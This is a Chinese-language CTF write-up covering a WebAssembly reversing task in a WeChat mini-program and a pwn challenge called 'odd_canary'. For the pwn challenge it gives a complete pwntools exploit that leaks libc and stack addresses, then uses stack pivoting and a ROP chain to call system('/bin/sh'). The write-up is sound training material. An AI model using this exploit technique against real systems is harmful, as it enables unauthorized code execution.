湾区杯部分re+pwn

微信小程序

先用解包

1
wedecode ./wxe4679cbcec91e410

wedecode要自己安装,网上可以自己找教程。

1

解包成功

找到validator.wasm

用wabt-1.0.37-windows将wasm —-> wat

1
2
wasm2wat wasm文件 -o wat文件
#wasm2wat validator.wasm -o 1.wat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
(module
(type (;0;) (func (param i32) (result i32)))
(type (;1;) (func))
(func (;0;) (type 0) (param i32) (result i32)
(local i32 i32 i32 i32)
block (result i32) ;; label = @1
block ;; label = @2
block ;; label = @3
local.get 0
local.tee 3
i32.const 3
i32.and
i32.eqz
br_if 0 (;@3;)
i32.const 0
local.get 0
i32.load8_u
i32.eqz
br_if 2 (;@1;)
drop
loop ;; label = @4
local.get 0
i32.const 1
i32.add
local.tee 0
i32.const 3
i32.and
i32.eqz
br_if 1 (;@3;)
local.get 0
i32.load8_u
br_if 0 (;@4;)
end
br 1 (;@2;)
end
loop ;; label = @3
local.get 0
local.tee 1
i32.const 4
i32.add
local.set 0
i32.const 16843008
local.get 1
i32.load
local.tee 4
i32.sub
local.get 4
i32.or
i32.const -2139062144
i32.and
i32.const -2139062144
i32.eq
br_if 0 (;@3;)
end
loop ;; label = @3
local.get 1
local.tee 0
i32.const 1
i32.add
local.set 1
local.get 0
i32.load8_u
br_if 0 (;@3;)
end
end
local.get 0
local.get 3
i32.sub
end
i32.const 38
i32.ne
if ;; label = @1
i32.const 0
return
end
loop ;; label = @1
block ;; label = @2
local.get 2
i32.load8_u offset=1024
local.get 2
local.get 3
i32.add
i32.load8_s
i32.xor
local.tee 0
i32.const 153
i32.eq
local.set 1
local.get 0
i32.const 153
i32.ne
br_if 0 (;@2;)
local.get 2
i32.const 1
i32.add
local.tee 2
i32.const 38
i32.ne
br_if 1 (;@1;)
end
end
local.get 1)
(func (;1;) (type 1))
(memory (;0;) 258 258)
(export "a" (memory 0))
(export "b" (func 1))
(export "c" (func 0))
(data (;0;) (i32.const 1024) "\ff\f5\f8\fe\e2\ff\f8\fc\a9\fb\ab\ae\fa\ad\ac\a8\fa\ae\ab\a1\a1\af\ae\f8\ac\af\ae\fc\a1\fa\a8\fb\fb\ad\fc\ac\aa\e4"))

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
# 内存数据(十六进制字节)
data = [
0xff, 0xf5, 0xf8, 0xfe, 0xe2, 0xff, 0xf8, 0xfc, 0xa9, 0xfb,
0xab, 0xae, 0xfa, 0xad, 0xac, 0xa8, 0xfa, 0xae, 0xab, 0xa1,
0xa1, 0xaf, 0xae, 0xf8, 0xac, 0xaf, 0xae, 0xfc, 0xa1, 0xfa,
0xa8, 0xfb, 0xfb, 0xad, 0xfc, 0xac, 0xaa, 0xe4
]

# 每个字节与0x99异或,并转换为ASCII字符串
result = bytes(b ^ 0x99 for b in data)
flag = result.decode('ascii')

print(flag)
1
flag{fae0b27c451c728867a567e8c1bb4e53}

ood_canary

before_main

1
2
3
4
5
6
7
8
9
10
__int64 before_main()
{
__int64 result; // rax

strcpy(name, "ctfer");
sprintf(bss, "Don't always trust the canary.");
result = 0LL;
__writefsqword(0x28u, 0LL);
return result;
}

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[1] = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
puts("Enjoy the game !\n");
while ( 1 )
{
buf[0] = 0LL;
printf("Choose (good/vuln/exit): ");
read(0, buf, 7uLL);
if ( !strncmp((const char *)buf, "good", 4uLL) )
{
good_news();
}
else if ( !strncmp((const char *)buf, "vuln", 4uLL) )
{
vuln();
}
else if ( !strncmp((const char *)buf, "exit", 4uLL) )
{
exit_a(1LL);
}
else
{
puts("Invalid choice!");
}
}
}

good_news

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 good_news()
{
__int64 buf[5]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
printf("I will tell you good news,%s \n", name);
puts("but you must tell me your name first:");
*((_BYTE *)buf + (int)read(0, buf, 0x28uLL)) = 10;
*(_QWORD *)bss = &puts;
strncpy(name, (const char *)buf, 0x20uLL);
printf("Great, the good news is that I know your real name,%s\n", (const char *)buf);
return __readfsqword(0x28u) ^ v2;
}

exit_a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall exit_a(int a1)
{
char v2; // [rsp+17h] [rbp-9h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Are you sure ? [y/n]");
v2 = getchar();
while ( getchar() != 10 )
;
if ( v2 == 121 )
_exit(a1);
if ( flag )
{
*(_QWORD *)bss = &v2;
--flag;
puts("you lost flag ");
}
return __readfsqword(0x28u) ^ v3;
}

vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 vuln()
{
unsigned __int64 v1; // [rsp+8h] [rbp-38h]
__int64 buf[5]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v1 = v3;
puts("Enter your payload: ");
read(0, buf, 0x40uLL);
if ( strncmp((const char *)buf, "exec", 4uLL) )
exit(1);
printf("Processed: %s\n", (const char *)buf);
__writefsqword(0x28u, v1);
return __readfsqword(0x28u) ^ v3;
1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

开启了canary,但是不影响

先看good_news puts的被放在了bss段bss:0000000000404080 bss,name在bss:0000000000404060 name,然后有个

1
printf("Great, the good news is that I know your real name,%s\n", (const char *)buf);

我们可以利用取个0x20的name,如果数据中没有空字节,name 不会以空字节终止,我们就可以利用其接着泄露出puts的地址。

接着看vuln, read(0, buf, 0x40uLL);存在栈溢出,但是能利用的只有0x10正好是栈迁移的标志。

但是我们还缺少一个栈的地址,可以在exit_a将栈地址放入bss段再到good函数泄露出栈的地址,然后再用栈迁移getshell。

exp

是战队里一个师傅写出来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3

from pwn import *
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

call_read = 0x401440
leave_ret = 0x4014B6
bss = 0x404060

pwnfile = "./odd_canary"
elf = ELF(pwnfile)
libc = ELF("./libc.so.6")
io = process(pwnfile)

def good_news(io, payload, is_leak=False):
io.sendafter(b"Choose (good/vuln/exit): ", b'good')
if is_leak:
io.recv(len("I will tell you good news,")+0x20)
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
io.sendafter(b"but you must tell me your name first:", payload)
return leak if is_leak else None

good_news(io, flat(cyclic(0x20)))
#gdb.attach(io)
#pause()
libc.address = good_news(io, flat(cyclic(0x20)), True) - 0x8db60
success(f"libc.address: {hex(libc.address)}")

io.sendafter(b"Choose (good/vuln/exit): ", b'exit')
io.sendafter(b"Are you sure ? [y/n]\n", b'n\n')

stack_addr = good_news(io, flat(cyclic(0x20)), True)
success(f"stack_addr: {hex(stack_addr)}")

str_bin_sh = libc.search(b'/bin/sh').__next__()
success(f"str_bin_sh: {hex(str_bin_sh)}")
system_addr = libc.sym.system
success(f"system_addr: {hex(system_addr)}")
ret = leave_ret + 1
pop_rdi = libc.search(asm('pop rdi;ret;'), executable=True).__next__()
success(f"pop_rdi: {hex(pop_rdi)}")

io.sendafter(b"Choose (good/vuln/exit): ", b'vuln')
io.sendafter(b"Enter your payload: \n", b'exec'.ljust(8, b'a') + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr) + p64(0x0) + p64(stack_addr-0x27) + p64(leave_ret))

io.interactive()

但是我在本地复现,查看bss段

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x00404020
0x404020 <stdout@@GLIBC_2.2.5>: 0x000079ba9ae045c0 0x0000000000000000
0x404030 <stdin@@GLIBC_2.2.5>: 0x000079ba9ae038e0 0x0000000000000000
0x404040 <heap_buffer>: 0x0000000000000000 0x0000000000000000
0x404050: 0x0000000000000000 0x0000000000000000
0x404060 <name>: 0x6161616261616161 0x6161616461616163
0x404070: 0x000000000000000a 0x0000000000000000
0x404080 <bss>: 0x000079ba9ac87be0 0x7572742073796177
0x404090 <bss+16>: 0x6320656874207473 0x00002e7972616e61
0x4040a0 <bss+32>: 0x0000000000000000 0x0000000000000000
0x4040b0 <bss+48>: 0x0000000000000000 0x0000000000000000

puts的地址0x000079ba9ac87be0和给的libc不一样,暂时还不知道哪里的问题。

OK我发现问题在哪里了,原来它加载的是我本地libc.so.6不是题目给的。直接换用自己的libc.so.6就可以打通了。